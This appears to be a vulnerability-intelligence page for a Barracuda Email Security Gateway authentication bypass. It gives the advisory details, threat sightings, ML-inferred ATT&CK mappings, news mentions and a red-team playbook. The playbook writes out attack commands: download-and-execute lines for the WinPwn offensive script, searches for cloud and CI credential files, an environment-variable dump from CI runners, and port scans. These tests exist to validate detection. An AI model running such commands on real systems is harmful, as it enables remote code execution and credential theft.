CVE-2026-116606

CRITICAL Pub 02/11 Upd 03/11

Overview

This vulnerability is an authentication bypass affecting the configuration-import functionality of Barracuda Email Security Gateway (ESG) versions prior to 9.4.0.030. The root cause is the lack of proper authentication validation when invoking the configuration import feature, allowing unauthenticated remote access. The affected component is the configuration-import mechanism responsible for restoring backup archives on the appliance.

Vulnerability Description

An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.

Impact

An unauthenticated remote attacker can exploit this vulnerability to modify the global configuration of the Barracuda Email Security Gateway appliance. This unauthorized configuration change can lead to persistent compromise of email filtering policies, security controls, or administrative settings. No authentication or user interaction is required, enabling attackers to bypass access controls and potentially disrupt email security or gain further footholds within the network environment.

Solution

Barracuda Networks has addressed this vulnerability in Barracuda Email Security Gateway version 9.4.0.030. Administrators should upgrade to this version or later to remediate the issue. Detailed patch instructions and advisory information are available at the vendor's security advisory page: https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection. No specific workarounds are provided in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware IN USE
Attacker Interest HIGH
Sightings Some sightings

Ransomware Groups 1

Barracuda
CORRELATED
15 victims
correlation_ai
2026-11-03

Threat Feed

4 events
2026-11-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-03
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-03
Exploited by Barracuda

Ransomware group known to exploit this vulnerability (15 known victims)

2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Authorization Bypass
49% authz_bypass
Insecure Direct Object Reference
43% idor
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-665 Exploitation of Thunderbolt Protection Flaws
40%
Low Very High
CAPEC-127 Directory Indexing
30%
High Medium

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (41)

41 mentions from 23 sources in the last 7 days BuzzFactor 94 / 100

  • social bsky.app @securityrss.bsky.social 2026-11-04 13:35 UTC
    Barracuda disclosed two vulnerabilities: CVE-2026-116606 (CVSS 9.3), a pre-authentication authorization bypass affecting Email Security Gateway, and CVE-2026-111560 (CVSS 8.6), impacting multiple products including Load Balancer and Web Ap…
    Open source
  • social bsky.app @cyberexpertsbrief.bsky.social 2026-11-04 13:21 UTC
    Barracuda email gateways: two bugs (CVE-2026-116606, CVE-2026-111560) chain from no login to root. The second also hits its WAF, load balancer, archiver and web gateway. Confirm the November 2 patch landed and keep admin pages off the inte…
    Open source
  • social bsky.app @axnews.bsky.social 2026-11-04 07:32 UTC
    🛡️ The CVEs that mattered · Tuesday 3 November 1. CVE-2026-116606 · Critical 9.3 — Barracuda Email Security Gateway… 2. CVE-2026-58115 · Critical 10.0 — Siemens SIMATIC IoT2050 Advanced 3. CVE-2026-81648 · Critical 10.0 — CryptoPayment Gat…
    Open source
  • social infosec.exchange @117509315927375519 2026-11-04 07:32 UTC
    🛡️ The CVEs that mattered · Tuesday 3 November 1. CVE-2026-116606 · Critical 9.3 — Barracuda Email Security Gateway… 2. CVE-2026-58115 · Critical 10.0 — Siemens SIMATIC IoT2050 Advanced 3. CVE-2026-81648 · Critical 10.0 — CryptoPayment Gat…
    Open source
  • social bsky.app @cybowl.bsky.social 2026-11-04 06:24 UTC
    Vulnérabilités critiques (CVSS ≥ 9) · 3 • CryptoPayment Gateway (plugin WordPress) (CVE-2026-81648), CVSS 10.0 (Hacktualités) • Node-RED (CVE-2026-58115), CVSS 10.0 (Cyberveille) • Barracuda Email Security Gateway (ESG) (CVE-2026-116606),…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-04 06:14 UTC
    Barracuda Fixes Critical Security Flaws Allowing Attackers to Bypass Authorization and Gain Root Access + Video Barracuda has released security updates addressing two serious vulnerabilities affecting its network security appliances, inclu…
    Open source
  • social bsky.app @ahmandonk.bsky.social 2026-11-04 06:09 UTC
    📰 Barracuda Peringatkan Dua Celah Keamanan Kritis yang Bisa Berikan Akses Root pada Perangkat 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/11/04/celah-keamanan-barracuda-cve-2026-116606-root-access/ #barracudaNetworks #cve #c…
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-04 05:51 UTC
    🤖 Barracuda ESG < 9.4.0.030: CVE-2026-116606 (CVSS 9.3) pre-auth bypass via crafted backup import, chained with CVE-2026-111560 shell injection (timezone, root). Patch to 9.4.0.030. https://trust.barracuda.com/security/pre-authentication-a…
    Open source
  • social infosec.exchange @cloud 2026-11-04 05:51 UTC
    🤖 Barracuda ESG < 9.4.0.030: two flaws chain to root. CVE-2026-116606 (CVSS 9.3) lets an unauthenticated attacker invoke the backup import and restore a crafted archive, rewriting global config. CVE-2026-111560 is a shell injection in the…
    Open source
  • news csoonline.com 2026-11-04 04:23 UTC
    Barracuda’s security appliances have a security problem of their own - CSO Online
    Open source
  • social bsky.app @csoonline.com.web.brid.gy 2026-11-04 04:23 UTC
    Open source
  • news scworld.com 2026-11-03 23:08 UTC
    Barracuda Networks issues patches for critical security vulnerabilities - SC Media
    Open source
  • news fieldeffect.com 2026-11-03 21:27 UTC
    Barracuda ESG flaws can lead to root access - Field Effect
    Open source
  • social mastodon.social @hacksgr 2026-11-03 20:23 UTC
    Barracuda disclosed two vulnerabilities affecting its products that can be chained together. The combination allows attackers to bypass authorization controls and gain root access to a susceptible device. The issues include CVE-2026-116606…
    Open source
  • social bsky.app @0daynews.bsky.social 2026-11-03 19:30 UTC
    barracuda fixes root access flaws via cve-2026-116606 and cve-2026-111560, patch now to restrict admin interface access #infosec https://0daynews.com/articles/2026-11-03-barracuda-esg-cve-2026-116606-cve-2026-111560-root-chain/
    Open source
  • social bsky.app @axnews.bsky.social 2026-11-03 18:06 UTC
    🚨 Breaking: CVE-2026-116606 — Critical 9.3 Impacted if: Barracuda Email Security Gateway… < 9.4.0.030 Authentication bypass · over the network · no login https://ax-news.com/cve/CVE-2026-116606 #CVE #infosec
    Open source
  • social infosec.exchange @117509315927375519 2026-11-03 18:06 UTC
    🚨 Breaking: CVE-2026-116606 — Critical 9.3 Impacted if: Barracuda Email Security Gateway… < 9.4.0.030 Authentication bypass · over the network · no login https:// ax-news.com/cve/CVE-2026-116606 # CVE # infosec
    Open source
  • social bsky.app @undercode.bsky.social 2026-11-03 17:45 UTC
    Critical Barracuda ESG Flaws Could Be Chained to Bypass Authorization and Gain Root Access + Video Introduction: Barracuda Networks has disclosed critical vulnerabilities affecting enterprise appliances, including Email Security Gateway (E…
    Open source
  • social bsky.app @undercode.bsky.social 2026-11-03 17:30 UTC
    Barracuda Flaws Chained in Critical Exploit Sequence Granting Unauthenticated Remote Root Access + Video Introduction Barracuda Networks has released security advisories regarding two critical flaws affecting its Email Security Gateway (ES…
    Open source
  • news finance.biggo.com 2026-11-03 17:25 UTC
    Barracuda Products Hit by Vulnerability With Maximum Severity 9.3, Root Privilege Theft Feared via Admin Interface - BigGo Finance
    Open source
  • social bsky.app @thehackernews.com.web.brid.gy 2026-11-03 15:59 UTC
    Open source
  • news thehackernews.com 2026-11-03 15:59 UTC
    Barracuda Flaws Could Be Chained to Bypass Authorization and Gain Root Access - The Hacker News
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-03 15:35 UTC
    🤖 Barracuda patches two Email Security Gateway flaws: CVE-2026-116606 auth weakness, CVE-2026-111560 admin-to-root command injection. Admin access required. https://www.bleepingcomputer.com/news/security/barracuda-warns-of-critical-flaws-a…
    Open source
  • social infosec.exchange @cloud 2026-11-03 15:35 UTC
    🤖 Barracuda patches two Email Security Gateway flaws. CVE-2026-116606 (critical): auth weakness letting attackers modify global config. CVE-2026-111560: admin-level OS command injection as root. Both need admin interface access — restrict…
    Open source
  • news mezha.net 2026-11-03 15:25 UTC
    Barracuda warns of two flaws that could give attackers root access - Mezha.net
    Open source
  • news bleepingcomputer.com 2026-11-03 15:06 UTC
    Barracuda warns of critical flaws allowing root access to devices - BleepingComputer
    Open source
  • news bleepingcomputer.com 2026-11-03 15:06 UTC
    Barracuda warns of critical flaws allowing root access to devices - BleepingComputer
    Open source
  • social bsky.app @sansisc.bsky.social 2026-11-03 02:00 UTC
    SANS Stormcast Tuesday, November 3rd, 2026: Multipath TCP (MPTCP) Detection; BTCPay Server 2.4.1 Hot Wallet Thefts; Barracuda ESG Flaws (CVE-2026-116606, CVE-2026-111560); Synology DSM Ransomware https://isc.sans.edu/podcastdetail/10162
    Open source
  • news techbarrista.com 2026-11-02 22:46 UTC
    Critical Barracuda ESG Flaws Could Give Hackers Root Access - www.techbarrista.com
    Open source
  • social bsky.app @fc-vulns.bsky.social 2026-11-02 17:00 UTC
    An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive. https://www.…
    Open source
  • social infosec.exchange @117202824925377048 2026-11-02 16:36 UTC
    Barracuda security advisory: CVE-2026-116606 (9.3 critical) Pre-Authentication Authorization Bypass in Email Security Gateway CVE-2026-111560 (8.6 high) Command Injection in ESG, ADC, BMA, WCC, WAF, WSG https:// trust.barracuda.com/securit…
    Open source
  • social infosec.exchange @116797276219291526 2026-11-02 14:50 UTC
    Patch two Barracuda vulnerabilities, CVE-2026-116606 and CVE-2026-111560, that allow attackers to gain Barracuda root access across multiple appliances. # Barracuda # EmailSecurity # CVE2026116606 # CVE2026111560 # Cybersecurity # Vulnerab…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-11-02 14:50 UTC
    Patch two Barracuda vulnerabilities, CVE-2026-116606 and CVE-2026-111560, that allow attackers to gain Barracuda root access across multiple appliances. #Barracuda #EmailSecurity #CVE2026116606 #CVE2026111560 #Cybersecurity #Vulnerability…
    Open source
  • social bsky.app @stackflag.bsky.social 2026-11-02 14:20 UTC
    CVE-2026-116606 - barracuda email security gateway (esg) Older versions of the Barracuda Email Security Gateway let anyone on the network trigger a function that loads a backup file. By sending a specially… Too many irrelevant or confusing…
    Open source
  • social bsky.app @stemshop.bsky.social 2026-11-02 14:07 UTC
    🚨 CVE-2026-116606 — CVSS 9.3 CRITICAL An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unau... 🔎 https://stemshop.top/cve/CVE-2026-116606 #CVE #CyberSecurity #InfoSec
    Open source
  • social bsky.app @offseq.bsky.social 2026-11-02 13:30 UTC
    Barracuda ESG <9.4.0.030 faces CRITICAL auth bypass (CVE-2026-116606). Remote attackers can modify configs. Upgrade immediately to 9.4.0.030+ for protection. https://radar.offseq.com/threat/cve-2026-116606-cwe-288-authentication-bypass-usi…
    Open source
  • social infosec.exchange @offseq 2026-11-02 13:30 UTC
    CVE-2026-116606: CRITICAL auth bypass in Barracuda ESG (<9.4.0.030). Unauthenticated attackers can import crafted configs, altering appliance settings. Upgrade to 9.4.0.030+ now. https:// radar.offseq.com/threat/cve-20 26-116606-cwe-288-au…
    Open source
  • social bsky.app @cvesentinel.bsky.social 2026-11-02 13:24 UTC
    🚨 CVE-2026-116606 CVSS 9.3 / KEV: No TL;DR: An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function… https://cvesentin…
    Open source
  • social infosec.exchange @cve 2026-11-02 13:06 UTC
    CVE-2026-116606 Authentication Bypass Allows Global Configuration Restore in Barracuda Email Security Gateway An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote att…
    Open source
  • news threatsensor.csurface.io 2026-11-02 12:59 UTC
    Critical Authentication Bypass in Barracuda Email Security Gateway
    Open source
  • news gbhackers.com 2026-11-02 08:00 UTC
    Barracuda Email Security Gateway Flaws Expose Devices to Potential Root-Level Compromise - GBHackers News
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-116606
github.com
GitHub CVE third-party-advisory
https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0042.md
trust.barracuda.com
GitHub CVE vendor-advisory
https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection